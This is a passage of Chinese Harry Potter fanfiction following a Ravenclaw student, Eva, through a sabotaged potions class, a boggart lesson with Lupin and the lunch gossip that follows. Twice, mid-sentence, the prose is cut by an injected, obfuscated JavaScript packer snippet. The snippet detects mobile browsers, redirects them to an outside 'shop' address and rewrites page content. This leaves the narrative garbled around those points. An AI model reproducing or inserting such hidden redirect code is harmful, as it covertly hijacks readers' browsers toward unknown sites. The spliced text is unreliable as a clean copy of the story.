Eva和帕德玛一组。她们小心地称量干荨麻和河豚鱼胆粉末,动作轻而稳。帕德玛的手指因为紧张而微微发抖,差点把豪猪刺掉进坩埚,Eva轻轻扶了一下她的手腕,眼神示意“慢一点”。 就在这时,左前方斯莱特林区域传来瓷器碎裂的脆响。 是西奥多·诺特和他的斯莱特林搭档。不知是谁碰到了研钵,研磨中的河豚鱼胆粉末如毒雾般溅出,大部分洒向他们自己的操作台,但有一些越过了桌子间的狭窄过道,扑向紧邻的、属于拉文克劳的迈克尔·科纳和他的搭档的操作台。 科纳惊叫一声,下意识挥臂遮挡,这个动作反而让飘散的粉末更猛地向后扬去,正好笼罩了Eva和帕德玛的操作区域。 帕德玛的惊呼被淹没在粉末中。Eva几乎本能地抬起左手魔杖。紫杉木魔杖在掌心传来熟悉的温热召唤,但当她试图调动魔力时,体内那股作为源泉的“炁”却如一口彻底干涸的深井,只反馈回一片空虚的钝痛。魔力流经手臂经脉时,不再是往常的顺畅奔涌,而是艰涩、断续,像水流挤过即将冻结的河床,带来细微却清晰的滞痛感。 她咬牙,强行集中所剩无几的精神,念出咒语:“盔甲护身!” 魔杖尖艰难地迸出几点虚弱摇晃的银星。一道色泽暗淡、薄得仿佛下一秒就会碎裂的透明屏障,在她操作台前扭曲着浮现,勉强偏转了大量粉末,但仍有少许穿透屏障,落在即将完成的药液表面。 “嗤——” 深紫色瞬间沸腾,冒出刺鼻紫烟,颜色变黑,质地粘稠怪异。 斯内普教授如幽灵般现身。他先冷冷地扫过一片狼藉的诺特的操作台,又看向惊慌失措的科纳,最后目光落在Eva那锅报废的药水上。 “操作台混乱,研钵放置不当——典型的拉文克劳式粗心。”斯内普的声音像冰面裂开,黑眼睛先扫过诺特的操作台,然后钉在科纳脸上,“科纳先生,你的慌乱反应将小范围失误扩大为灾难。拉文克劳扣十分。现在,立刻清理你的区域,不要像巨怪一样呆站着。” 科纳的脸刷地白了:“可是教授,是诺特先——” “质疑教授判断,再扣五分。”斯内普的声音没有一丝波澜,“看来拉文克劳的‘智慧’不包括基本的课堂纪律。”他转向诺特,语气稍缓,但仍冰冷,“诺特先生,虽然主要责任在慌乱的同学,但你也需更谨慎。今晚七点,地窖,学习如何妥善处理危险材料——这不算禁闭,是额外指导。” 几个斯莱特林学生交换了眼神——斯内普教授从不说“禁闭”,只说是“额外指导”。十五比零。典型的斯内普式算术。 德拉科·马尔福正在自己的操作台前,动作精准地将最后一份豪猪刺加入坩埚。听到斯内普的话,他握着小银刀的手几不可察地顿了一下,随即又恢复了流畅的切割动作。 斯内普的目光落回Eva的操作台。看着那锅报废药水,又看了看她手中魔杖——杖尖的银光已完全熄灭。 “反应迟缓,防护薄弱——尤其是在目睹邻台事故后。”他的评价短促如冰锥,“重做。下课前完成。”他顿了顿,“材料自备。公共柜的流液草,”他的目光扫向材料柜,“应该还有最后一袋。” 帕德玛脸色惨白。重做已经艰难,还要争夺所剩无几的材料? Eva放下魔杖,开始清理坩埚。她走向材料柜——几个学生正在那里翻找。果然,流液草只剩下最后一小袋,干燥饱满,品相完美。 一只手抢先一步伸了过去。手指修长,戴着精致的龙皮手套,动作带着一种刻意彰显的从容。 是德拉科·马尔福。他侧对着她,仿佛完全没注意到她的靠近。那只戴着精致龙皮手套的手伸向流液草时,指尖却几不可察地顿了一下——非常短暂,几乎像错觉。像是在等待什么。他在等她的反应?随即,他以一种刻意放慢、彰显从容的姿态捏起了袋子。他转过身,灰蓝色的眼睛斜睨过来。 什么都没有。只有平静,和因虚弱而略显苍白的脸色。 他眼底掠过一丝难以捕捉的烦躁,随即以那种马尔福式的、刻意彰显从容的姿态捏起袋子,转身。灰蓝色的眼睛这次没有立刻移开,而是在她脸上仔细审视——从苍白的脸色,到眼下淡淡的倦影,再到平静无波的眼睛。他在搜集证据:虚弱?伪装?还是真的只是……普通? 那双眼睛里翻涌着远比讥诮更复杂的东西:有一丝早餐那封冰冷家信带来的压抑戾气,有目睹她虚弱状态后某种扭曲的“验证”快意(看,你也不过如此),但更深层,还有一种连他自己都未察觉的焦灼——如果火车上那点光不是幻觉,那是什么?如果那是真的,为什么她现在看起来这么……普通? 他拿着流液草转身,走向自己的操作台,袍角甩得平直而僵硬。 Eva停在原地。材料柜里确实空了。 她转身走向教室后方的废弃药材桶。弯下腰,在腐败的根茎和失败药渣中仔细翻找。指尖触到几株被压扁、根部发黑的流液草——品相极差,但或许还能用。 就在她小心剥去霉变根部时,一阵熟悉的、带着柑橘调古龙水气味的冷风停在了身边。 德拉科·马尔福不知何时又折返回来。他已经把自己小组那锅完美的药水装瓶,此刻手里悠闲地转着那袋根本没开封的、完美的流液草,就站在废弃桶旁,居高临下地看着蹲在地上的Eva。 “真是拉文克劳的智慧。”他的声音拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983898|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长了,每个字都像浸了冰,“在垃圾里找答案。怎么,你那套东方的……‘小把戏’,变不出需要的材料?” 最后几个字咬得很重,灰蓝色的眼睛紧紧盯着她的脸,像是在捕捉每一丝可能的表情变化——慌乱?窘迫?还是火车上那种可恨的平静? Eva手上的动作没停,甚至连头也没抬,只是平静地继续清理手中的残次品,声音不高却清晰:“变不出来。所以只能靠双手。” 马尔福的嘴角猛地绷紧了一下。这个回答——太平静了,没有他预期的任何反应。这种平静比愤怒或哭泣更让他烦躁,因为它无视了他的挑衅,让他精心准备的羞辱像一拳打在棉花上。 他捏着流液草袋子的手指收紧,指节泛白。似乎还想说什么更刻薄的话,但最终只是从鼻腔里发出一声短促而尖利的冷哼。 “那就祝你和你的‘双手’好运。”他甩下这句话,猛地转身,这次袍角甩得近乎凌厉,大步离开了。那袋完美的流液草被他随手塞进了袍子口袋,再没拿出来用过。 Eva拿着勉强清理出的两株残次流液草回到操作台。帕德玛已经准备好其他材料,两人开始争分夺秒。 用残次材料意味着容错率极低。她们必须增加用量,延长熬煮,全程以十二分的专注紧盯坩埚内每一丝颜色和质地的变化。Eva手腕的搅拌依旧稳定——那是经年练习刻入肌肉的记忆——但额角不断渗出细密的冷汗。每一次精确控制火候、每一次感知药液微妙变化,都需要高度集中精神,而这正持续榨取着她本就所剩无几的心力。体内那种空乏感不再是背景,而变成阵阵袭来的、带着轻微晕眩的虚脱感,仿佛踩在一条逐渐崩解的细线上。 沙漏将尽时,她们的坩埚里终于再次呈现紫色——但颜色晦暗,质地不够均匀。 斯内普教授巡视过来。在马尔福和帕金森的操作台前,他看着那锅颜色纯正、气泡完美的药水,嘴角几不可察地动了动:“标准。斯莱特林加二十分。” 走到Eva这里,他审视着那锅颜色晦暗的药水。银勺舀起,仔细嗅闻,滴在试纸上。试纸变色,但颜色斑驳不均。 “利用废弃材料,在时限内完成勉强合格的药剂。”斯内普的声音依旧冰冷,“应变能力……尚可。”他没有说加分。 顿了顿,他的黑眼睛在Eva脸上停留了一瞬:“但防护咒薄弱得可笑。以你之前的……,不该如此。” 他转过身,声音不高,却清晰传入她耳中:“逞强是格兰芬多的特权,张小姐。拉文克劳应该懂得量力而行。下课后留下。” 下课后,学生陆续离开。 帕德玛担忧地看了Eva一眼,Eva微微摇头示意她先走。 当教室空寂下来,斯内普仍在讲台后整理他的魔药柜,动作不疾不徐。Eva安静地等待,爷爷说过,师长若未明言结束,学生当静候。 大约过了五分钟,斯内普才关上柜门,转身看向她。他没有走近,只是从黑袍内袋里取出一个薄薄的、边缘磨损的羊皮纸文件夹,随手扔在离她最近的实验台上。 文件夹“啪”地落在石面,封面没有任何标记。 “拉文克劳的学院沙漏,”斯内普的声音冰冷如常,“上学期末因为某些……‘特殊贡献’,增加了不少分量。” 他缓步走过来,黑袍拖地无声:“但这并不意味着,某些学生可以躺在过去的‘功劳’上,放松对基础学科的专注。” Eva安静地站着,等待下文。 “刚才那个盔甲护身咒,”斯内普在离她三步远的地方停下,黑眼睛紧盯着她,“虚弱、迟滞、结构松散。以你一年级时的反应速度,和二年级……在那些‘冒险’中消耗的精力,出现这种程度的衰退并不令人意外。” 他慢慢踱步,黑袍拖地无声:“魔力透支后的恢复期,某些基础魔药材料——比如今天你试图抢救的流液草——会对不稳定的魔力场产生异常反应。轻则药剂报废,重则可能引发……不愉快的副作用。”他停顿了一下,嘴角扯出一个近乎残忍的弧度,“当然,以拉文克劳的‘智慧’,大概认为这些风险值得写在羊皮纸上反复研读。” 他走到讲台后,抽出一张空白羊皮纸,用羽毛笔快速写了几行字,然后像扔垃圾一样将它甩到Eva面前的实验台上。 “下周一。两英尺羊皮纸。”他背对着她,魔药瓶在手中发出清脆的碰撞声,“题目是:《论魔力枯竭状态下基础药剂熬制的必然失败——以今日课堂为例》。我要看到标准的魔药学分析,不是你那套东方的……比喻。” 他缓缓转过身,黑袍在身后无声垂落。“资料?”他的嘴角扯出一个近乎残忍的弧度,“以你目前的状态,庞弗雷夫人大概不会允许你接近任何可能引发魔力紊乱的文献——《圣芒戈病例季刊》第38卷正好在禁书区。当然,你可以选择更……便捷的途径。” 他停顿,黑眼睛里闪过一丝Eva看不懂的东西——不是关切,更像是一种冰冷的实验性观察。 “直接请教医疗翼的主人,关于魔力透支后的恢复期禁忌。前提是,”他的声音压低,每个字都像冰锥,“你有足够的谦逊承认自己的虚弱,而不是像某些格兰芬多一样逞强。” 67.博格特与记忆 周二的早晨,城堡笼罩在一层稀薄的雾气里。黑魔法防御术教室位于城堡三楼,窗外可以看到打人柳光秃秃的枝条在晨雾中缓慢摆动。 当拉文克劳和斯莱特林的学生们走进教室时,都愣了一下。 教室里弥漫着一股陈旧的、略带霉味的气息,与之前洛哈特在任时那浮夸的装饰截然不同。墙上挂着的肖像都是些神情严肃的老巫师,角落里堆着几口钉死的木箱,上面贴着褪色的标签。最引人注目的是讲台后面那个巨大的玻璃水箱——里面装满了翻滚的灰白色雾气,不时凝聚成可怖的形状,又迅速消散。 卢平教授站在讲台旁,穿着一件磨得发亮的旧袍子。他看起来比火车上更疲惫些,眼角有深深的纹路,但那双温和的灰色眼睛依然明亮。 “请坐,”他的声音平静,带着一种令人安心的稳定感,“今天我们不上理论课。” 斯莱特林长桌那边传来几声压抑的嗤笑。潘西·帕金森对旁边的高尔小声说:“又一个不按课本来的。” 卢平教授像是没听见,他走到教室中央,挥了挥魔杖。那些钉死的木箱中的一个自动打开,里面传来窸窸窣窣的声音。 “有人能告诉我这是什么吗?”他问。 一只浅蓝色的、像一团果冻般颤动的生物从箱子里飘了出来。它没有固定的形状,表面闪烁着微光,在教室里缓慢飘浮。 教室一片寂静。 “这是博格特,”卢平教授平静地解释,“一种非实体生物,会读取人们内心最深处的恐惧,并变形成为那种形态。” 德拉科·马尔福挺直了背,灰蓝色的眼睛紧盯着那个飘浮的蓝色光团。克拉布和高尔下意识地向后缩了缩。 “对付博格特,有一个非常简单的咒语——滑稽滑稽。”卢平教授举起魔杖示范,“咒语本身并不强大,它真正的力量在于施咒者坚定的意志和……幽默感。你必须强迫博格特变成你觉得可笑的形态,这样它的力量就会瓦解。” 他顿了顿,目光扫过教室:“谁想第一个试试?” 沉默蔓延开来。拉文克劳这边,几个学生交换着犹豫的眼神。斯莱特林那边,马尔福的手指在桌面上轻轻敲击,但没有任何人举手。 卢平教授的视线缓缓扫过全班,最后停在Eva身上。他的眼神很温和,但Eva能感觉到那目光里的考量——不是针对她个人,更像是教师在评估学生的状态。 “张小姐,”他的声音平静,“上学期末,我听说你经历了一些……不寻常的事。如果你愿意,可以为我们演示一下如何应对博格特。” 教室里所有的目光瞬间集中过来。帕德玛在桌下轻轻碰了碰Eva的手。曼蒂张大了嘴,丽莎则担忧地皱起眉头。她们都记得医疗翼里那些日子——Eva躺在床上一动不动,脸色白得像纸,呼吸轻得几乎感觉不到。庞弗雷夫人每天都要检查好几次,摇头叹气。妈妈守在床边,眼圈总是红的。 斯莱特林那边,马尔福的嘴角几不可察地撇了一下,灰蓝色的眼睛里闪过某种复杂的神色——不是单纯的讥讽,更像是一种混杂着好奇、审视和一丝不易察觉的紧张的东西。他记得火车上那点微弱的金光,也记得走廊里她苍白的脸色。 Eva站起身。她的动作很稳,但能清晰地感觉到体内那种空乏感——不是普通的疲惫,而是更深层的、像井底即将干涸的虚脱。 博格特飘到她面前,浅蓝色的光芒开始剧烈波动。它感知着她的恐惧,在无数潜藏的阴影中搜寻着最能击溃她的形态。 博格特的光芒开始凝聚、变形—— 变成了一幅混乱而诡异的画面。 江南老宅的白墙黑瓦,与霍格沃茨的哥特式塔楼诡异地融合在一起——拉文克劳塔楼的尖顶从老宅的庭院里生长出来,槐树的枝叶缠绕着霍格沃茨的石桥。这不是和平的景象:老宅的白墙上有焦黑的弹孔和魔咒留下的诡异裂痕,霍格沃茨的塔楼在燃烧,但不是普通的火焰,而是东方符咒燃烧时特有的青金色与西方厉火诡异的绿色交织在一起。 画面中有人在战斗。不是清晰的形象,而是模糊的影子——有穿着青布道袍的身影在挥动紫竹笔,笔尖绽放的光芒与射来的绿光对撞;也有穿着霍格沃茨校袍的学生在逃跑,身后是摄魂怪般飘荡的、裹着破烂军装的影子。 而在画面的最前方—— 站着她的父母。 爸爸穿着那身永远笔挺的西装,但衣服破了,脸上有血。妈妈紧紧抓着他的手臂,米色套装沾满灰尘和……不知是烟灰还是符灰的污迹。他们站在燃烧的、融合的建筑前,背对着画面,正回头看向什么——看向正在逃跑的学生们,看向需要帮助的人。然后他们转身,向火焰最深处走去。 不是被迫的,是选择。 就像祖母当年选择入世参战,就像外公外婆再也没有回来。那种明知前方是毁灭,却依然要向前走的……责任。 更可怕的是,在爸爸妈妈身影消失的方向,隐约还有另一个身影——一个穿着霍格沃茨校袍、背影瘦小的女孩,正握着魔杖,也向火焰中走去。那个背影太熟悉了。 博格特创造的画面中,融合的建筑在双重火焰中崩塌,爸爸妈妈的身影逐渐消失。最后一刻,妈妈回过头——不是看向画面外的Eva,而是看向那个走向火焰的女孩背影,眼神里有不舍,有决绝,但唯独没有后悔。 无声的话语在空气中震颤:轮到你了。 轮到你了。 教室里的温度骤降。帕德玛倒吸一口冷气,曼蒂的眼泪瞬间涌了出来——她想起自己父母安全的家,想起每晚温暖的晚餐。丽莎死死捂住嘴。 德拉科·马尔福的表情凝固了。他盯着那幅诡异融合的画面,灰蓝色的眼睛睁大,瞳孔收缩。那不是他熟悉的恐惧——不是家族衰落,不是失去地位。是更原始的、更……宏大的东西,而且带着一种令他不安的陌生感:东方的建筑、东方的符咒、那种青金色的火焰……这一切都超出了他的认知框架。他的手指在桌下无意识地收紧,指甲掐进掌心。 Eva握紧魔杖。紫杉木的杖身在掌心传来温热的触感,但当她试图调动魔力时,那股熟悉的艰涩感再次袭来——像水流挤过布满裂缝的干涸河床。 “滑稽滑稽。”她的声音清晰,但咒语的光芒微弱得几乎看不见。 博格特创造的画面颤动了一下,但火焰仍在燃烧,融合的建筑仍在崩塌。 卢平教授站在一旁,没有插手,只是静静观察。他的目光在Eva和博格特之间移动,眼神里有专业的评估,也有一丝深沉的……理解。他见过这种恐惧,在很多人脸上——那种将个人命运与更大冲突捆绑在一起的恐惧。 Eva深吸一口气。爷爷的声音在脑海中响起:“一代人有一代人的战场。但战场不止在硝烟中,也在人心。” 茶馆老板娘的声音也在回响:“那位林夫人,好像就在其中。” 不是要否认责任的存在。而是要理解它——责任不是盲目的牺牲,是清醒的选择。而选择,需要力量,需要智慧,需要……看清什么是真正值得守护的。 她再次举起魔杖。这一次不再试图强行驱动那所剩无几的魔力,而是让心神沉得更深。不是对抗恐惧,是重新定义它。 “滑稽滑稽。” 咒语的光芒依然不强,但更稳定、更清晰。博格特创造的画面开始扭曲变形——融合的建筑变成了儿童积木搭成的古怪玩具,青金色与绿色的火焰变成了七彩的糖果火焰,噼啪作响地燃烧着棉花糖。那些战斗的身影变成了穿着戏服的小丑,笨拙地挥舞着塑料剑和夸张的大笔。爸爸妈妈变成了两个穿着滑稽礼服的小丑,手拉手在糖果火焰上跳着踢踏舞,还向不存在的观众抛洒彩色纸屑。 那个走向火焰的女孩背影,变成了一只会跳芭蕾舞的玩具小熊,在棉花糖火焰上转着圈。 整个场景变得荒诞可笑,甚至有些温馨。 博格特溃散了,变回一团浅蓝色的光芒,飘回木箱。 教室里安静得能听见窗外风吹打人柳的声音。然后,零星的掌声响起,渐渐连成一片。帕德玛用力鼓掌,眼泪还在流,但脸上有了笑容。曼蒂一边擦眼泪一边说:“她做到了……她真的做到了……” 德拉科·马尔福没有鼓掌。他只是坐在那里,灰蓝色的眼睛紧盯着Eva,表情复杂得难以解读——有震惊,有不解,有一种被打乱了认知的茫然,还有一丝……隐约的忌惮。这种恐惧,这种将东方与西方、家族与更大冲突纠缠在一起的画面,完全不在他的理解框架内。这让他感到不安。 Eva回到座位,能感觉到后背已经被冷汗浸湿。刚才的施咒再次消耗了她本就有限的心力,那种空乏感更加明显了,太阳穴开始一跳一跳地疼。 卢平教授走上前,他没有立刻评价,而是用那双温和却锐利的灰色眼睛,仔细地看了Eva一眼——目光掠过她额角的细汗和略显苍白的嘴唇。然后,他才转向全班,声音平缓而清晰:“博格特映照的是我们内心最深的恐惧。而最深的恐惧,往往与我们最珍视、最根本的东西紧密相连——身份、归属、我们来自何方,以及我们害怕失去什么。” 他的目光再次扫过Eva,这一次带着更明显的、教师对学生的考量:“有些恐惧的画面可能非常……复杂,涉及个人历史甚至更广阔的背景。成功应对的关键,不在于否认这些联系的重量,而在于找到重新诠释它的力量——哪怕是暂时赋予它一种不同的形式。张小姐展示了这种可能性。做得很好。” 他停顿了一下,语气转向对所有学生的告诫:“同时,我必须提醒大家,强行调动意志力去对抗深层恐惧,尤其是在……”,他的目光若有若无地掠过Eva紧握魔杖、指节发白的手,“身体状态并非最佳时,是极其耗费心神的。张小姐,下课后请留一下。我们需要谈谈你施咒时的稳定性。” 他没有再深入解释Eva的画面,而是目光扫过全班:“这正是黑魔法防御术的核心——不仅是学会咒语,更是学会如何面对内心的黑暗,无论那黑暗来自何方。” “让我们继续。布特先生?” 被点名的拉文克劳男生迈克尔·科纳不情愿地走上前。他的博格特变成了一堆疯狂增殖、将他淹没的算术图表和论文,被他用一个有些虚弱的“滑稽滑稽”变成了一群飘散的、打着哈欠的橡皮小鸭子。几个拉文克劳学生发出了感同身受的轻笑。 卢平点了点头:“对学业压力的有趣诠释。下一位,帕金森小姐?” 潘西·帕金森昂着头走出去。她的博格特变成了一面布满裂纹的镜子,映出她脸上夸张的痘痕和乱发,她尖声念咒,把它变成了一面装饰着俗气粉红羽毛和亮片的华丽化妆镜。几个斯莱特林女生配合地发出捧场的赞叹。 课堂气氛在这两个更“典型”的恐惧展现中稍微松弛了些。 帕德玛的博格特变成了一条巨大的蟒蛇——她对爬行动物有莫名的恐惧——被她用咒语变成了一条戴着礼帽、跳踢踏舞的滑稽小蛇。曼蒂的博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987741|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格特变成了一堆不及格的试卷,被她变成漫天飞舞的彩色纸屑。 轮到斯莱特林时,卢平教授点了德拉科·马尔福。 马尔福站起身,动作从容优雅,但Eva注意到他的指尖在魔杖上收紧了一瞬,指节微微发白。他走到教室中央,博格特飘到他面前。 灰蓝色的光团剧烈波动,开始变形—— 变成了一幅画。 画中是马尔福庄园的客厅,但一切都蒙着灰尘,家具歪斜,窗帘破烂。画中央站着卢修斯·马尔福——但不再是那个总是衣着光鲜、姿态高傲的马尔福家主。他穿着破旧的囚服,脸色灰败,眼神空洞,脖子上戴着沉重的枷锁。纳西莎·马尔福站在一旁,美丽的脸上满是泪痕,淡金色的头发凌乱地散着。 最刺目的是,画中的德拉科·马尔福自己——穿着普通的、没有任何家族徽记的袍子,站在父母身后,脸上是彻底的茫然和……恐惧。不是高傲,不是讥讽,是最赤裸的、失去一切庇护的恐惧。 博格特变成的画在空气中微微颤动,画中“卢修斯”的枷锁发出无形的沉重声响。 教室里死一般寂静。连潘西·帕金森都屏住了呼吸。 德拉科·马尔福的脸色瞬间变得比纸还白。他盯着那幅画,灰蓝色的眼睛睁得极大,瞳孔收缩成针尖。他的嘴唇在颤抖,但没有任何声音发出来。魔杖在他手中剧烈地抖动着。 卢平教授静静看着,没有催促,但眼神变得异常锐利。 几秒钟——却仿佛有几个小时那么长。 然后马尔福猛地举起魔杖,声音嘶哑而尖锐,几乎是吼出来的: “滑稽滑稽!” 咒语的光芒异常强烈,几乎是爆发性的。画中的景象开始扭曲变形——卢修斯·马尔福的囚服变成了夸张的马戏团小丑服,枷锁变成了彩色气球。纳西莎的眼泪变成了喷涌的彩色纸带。而画中的德拉科,则穿上了一身闪闪发亮的银色礼服,站在舞台中央,向不存在的观众夸张地鞠躬。 整个画面变得滑稽可笑,甚至有些……可悲。 博格特溃散了。 马尔福站在原地,呼吸急促,胸口剧烈起伏。他的手还在抖,但他迅速控制住了,魔杖收回时动作僵硬得像个木偶。他没有看任何人,径直走回座位,背脊挺得笔直,但肩膀的线条绷得死紧。 卢平教授没有评论,只是用他那双温和却似乎能看透许多东西的眼睛,看了德拉科一眼,然后便叫了下一位学生:“博斯德先生?” 斯莱特林的文森特·克拉布磨磨蹭蹭地走上前,他的博格特变成了一个空荡荡的、巨大无比的餐桌(暗示对饥饿的原始恐惧?),被他迷糊的咒语变成了一张铺满蛋糕的野餐布。这个简单的画面甚至引来几声轻笑。 下课前,卢平教授总结道:“博格特教给我们最重要的一课——我们最深的恐惧,往往与我们最珍视的东西相连。面对它,理解它,然后用你们自己的方式重新定义它。这就是防御术的开始。” 下课后,学生们鱼贯而出,兴奋或压抑的议论声在走廊里回荡。Eva依照卢平的指示,留在了渐渐空下来的教室。 卢平教授没有立刻说话。他先挥动魔杖,让那个装有博格特的木箱自己锁好,飘回角落。然后,他走到窗边,看着窗外打人柳在渐浓的雾气中挥舞枝条,似乎在组织语言。 “请坐,张小姐。”他转过身,指了指一张离讲台不远的椅子,自己则靠坐在讲台边缘,动作有些疲惫,但那双温和的灰眼睛依然明亮。 Eva坐下,将书包放在膝上。教室里只剩下他们两人,空气里残留的淡淡霉味和之前博格特带来的阴冷气息似乎更清晰了。 卢平沉默了片刻,手指轻轻摩挲着旧袍子的袖口。这沉默并不令人尴尬,反而像是给双方都留出整理思绪的时间。 “博格特是很特别的镜子,”他终于开口,声音比课堂上更轻,带着一种回忆般的语调,“它们照出的不一定是真实的怪物,更多是我们内心深处……最怕失去的东西。” 他的目光落在Eva身上,不是审视,更像是理解。“你面对它时的专注,让我想起一些……过去认识的人。他们也有很深的牵挂,需要保护的东西太多。” Eva安静地听着,没有回应。 “摄魂怪带来的寒冷会让人想要燃烧自己来取暖,”卢平继续说,语气平静却带着深意,“尤其是在感觉自己需要为很多人负责的时候。但火焰烧得太旺,蜡炬会先燃尽。” 他从旧袍子的内袋里掏出一个小纸包——不是蜂蜜公爵的精致包装,只是普通的牛皮纸,用细绳简单系着。他把它轻轻放在Eva旁边的桌上。 “只是一点巧克力。对付博格特和摄魂怪留下的寒意,最古老的方法往往最有效。”他顿了顿,嘴角浮现一丝极淡的笑意,“当然,如果你觉得太甜,也可以分给朋友。” 他的目光再次与Eva对上,这一次,那双灰色眼睛里的温和中多了一丝郑重:“霍格沃茨的防御术教授换得勤,但我希望至少在我任内,我的学生能明白——最好的防御,有时是知道自己什么时候需要后退一步,好让自己能走得更远。” 他站起身,动作略显僵硬,仿佛旧伤在隐隐作痛。“你可以回去了。如果……嗯,如果对守护神咒或者其他偏重精神层面的防御术感兴趣,我的办公室周四下午通常比较安静。” 没有再多说什么,卢平对她点了点头,便开始整理讲台上散落的教案,结束了这次简短的谈话。 68.一代人的印记 从黑魔法防御术课堂出来,走廊里还有零星几个赶往礼堂的学生。 从三楼到礼堂的路不长。大理石楼梯上,两个赫奇帕奇一年级生正费力地搬着一盆看起来脾气暴躁的捕蝇草。一副骑士盔甲在转角处吱呀作响,里面传来断断续续的鼾声。 转过最后一个弯,礼堂高大的橡木门出现在眼前。午间的光线从高高的彩绘玻璃窗透进来,在古老的石板上切割出斑斓的光影。 午餐时的礼堂比平时更加喧闹。议论声像湖面的涟漪,从一张长桌扩散到另一张。Eva走进来时,能清楚地感觉到目光——不是全都集中在她身上,但总有那么几道追随着,在她脸上停留一瞬,又迅速移开。 曼蒂在长桌靠后的位置站起来挥手,动作幅度大得差点打翻旁边的南瓜汁壶。“这里,Eva!” 她和帕德玛、丽莎已经坐好,旁边特意留了个空位。原先靠近长桌中段、视野更好的位置已经被几个四年级学生占了,那是她们一年级时习惯坐的地方。 Eva走过去坐下。曼蒂立刻压低声音,语速快得像连珠炮:“你没事吧?卢平教授留你说什么了?我们等你半天……” “只是问了问施咒时的感觉。”Eva轻声回答,接过帕德玛默默递来的南瓜汁。甜腻的液体滑过喉咙,带来熟悉的暖意。 帕德玛没有说话,只是用那双沉静的眼睛仔细看了看她的脸,然后轻轻点了点头,像是在确认什么。 长桌另一端,几个三年级和四年级的拉文克劳正凑在一起讨论着什么。声音不大,但在相对安静的这头能隐约听见几个词。 “……迈克尔说那画面里有东方式的塔楼……”一个戴眼镜的女生说。 “博格特的投射很主观,”安东尼·戈德斯坦推了推眼镜,语气带着拉文克劳特有的审慎,“不能简单等同于现实预言。不过结合她的背景,出现文化元素的融合倒也不意外……” “听起来挺戏剧化的,”另一个女生撇撇嘴,声音压低了些,“好像自己背负着多么了不起的宿命似的。” “也许只是潜意识里对两种文化归属的焦虑,”安东尼客观地分析,“很多混血或在两种文化环境中长大的巫师都会有类似的……” “得了,安东尼,别总是一副‘我在做学术研究’的样子。”那女生打断他,但语气里没有恶意,“我就是觉得,一堂普通的防御术课,没必要搞得那么……” 她没说完,因为秋·张端着盘子起身,走到Eva的旁边坐下。秋什么也没说,只是安静地切开盘子里的烤土豆,动作优雅从容。那几个学生交换了一个眼神,自然而然地转移了话题,开始讨论下午的占卜课作业。 而在更远些的高年级区域,谈论的角度更加抽象。 一个六年级的学长,推了推眼镜,他总能在各种议论中保持拉文克劳式的客观:“比起马尔福,我更在意那个画面本身。融合的建筑,东西方魔法体系碰撞的具象化……这种恐惧投射的复杂程度,已经超出了普通三年级学生的认知框架。” “认知框架?”另一个女生皱眉。 他的目光掠过长桌,看向远处Eva所在的角落:“恐惧源于认知。能构建出那样一幅画面,说明她潜意识里整合的信息量——或者说被要求整合的‘责任’——远超她这个年龄应有的负担。上学期末的那一百分……也许邓布利多看到的不仅仅是她在密室事件中的‘协助’。” 他的声音很平静,像是在分析一道复杂的古代如尼文题目:“象征性文化交流生的背景,却能在三年级就介入学院杯格局……霍格沃茨很久没有这样的‘特例’了。” 五年级男生若有所思地点头,没再说话。 Eva所在的这一端相对安静。帕德玛、曼蒂和丽莎围着她坐,形成了一个默契的小圈子。秋·张的位置也选得很巧妙——坐在Eva侧前方,既能用身体挡住一部分来自长桌中段的视线,又不显得刻意。 秋切了一小块烤土豆,微微倾身,用中文轻声说:“不用理会那些。他们没见过,所以只能用自己的框架去套。” 她的声音很平和,带着一种过来人的淡然——秋比Eva高一年级,已经在霍格沃茨度过了完整的四年,见过各种议论和目光。 曼蒂虽然听不懂中文,但从秋郑重的神色和Eva专注的表情里,也感受到了这话的分量。她没有试图插话,只是和帕德玛交换了一个默契的眼神,然后转过身,背对着更喧闹的长桌中段,假装对丽莎盘子里的布丁产生了浓厚兴趣,实则巧妙地拓宽了这个小小的“屏障”。 秋用叉子轻轻拨弄着盘子里的蔬菜,目光落在Eva脸上,又移向窗外逐渐堆积的云层。她似乎犹豫了一下,然后用更轻、但依然清晰的中文说: “午饭后如果你有空……庭院东侧那棵老山毛榉树下,很少有人去。有些话,在那里说更合适。” Eva抬起眼,对上秋温和但认真的目光。她点了点头:“好。” 秋微微颔首,没再继续这个话题,自然地切换回英语,转向曼蒂她们:“你们明天的草药课要戴新发的手套吗?我听说毒触手的刺如果扎透普通龙皮,会很麻烦。” 话题轻松地转移到了课堂准备上。周围的议论声还在继续,但这个小圈子里的气氛已经不同了。 斯莱特林长桌那边,气氛紧绷得像是随时会断裂。 德拉科·马尔福坐在那里,背脊挺得笔直,像一尊精心雕琢的大理石像。他面前的餐盘几乎没动,银叉在修长的指间静止,尖端轻轻抵着瓷盘边缘。潘西·帕金森在他旁边小声说着什么安慰或岔开话题的话,他置若罔闻,灰蓝色的眼睛盯着前方虚空中的某一点,瞳孔微微收缩。 他能感觉到那些目光——从拉文克劳长桌,从赫奇帕奇长桌,甚至从自己学院内部。好奇的、讥诮的、幸灾乐祸的、还有那种最让他恶心的、虚伪的同情。博格特暴露出的软弱,与那个拉文克劳展现出的、令人费解的“宏大”画面形成了尖锐对比,这种对比像一根细针,持续刺穿着他竭力维持的体面。 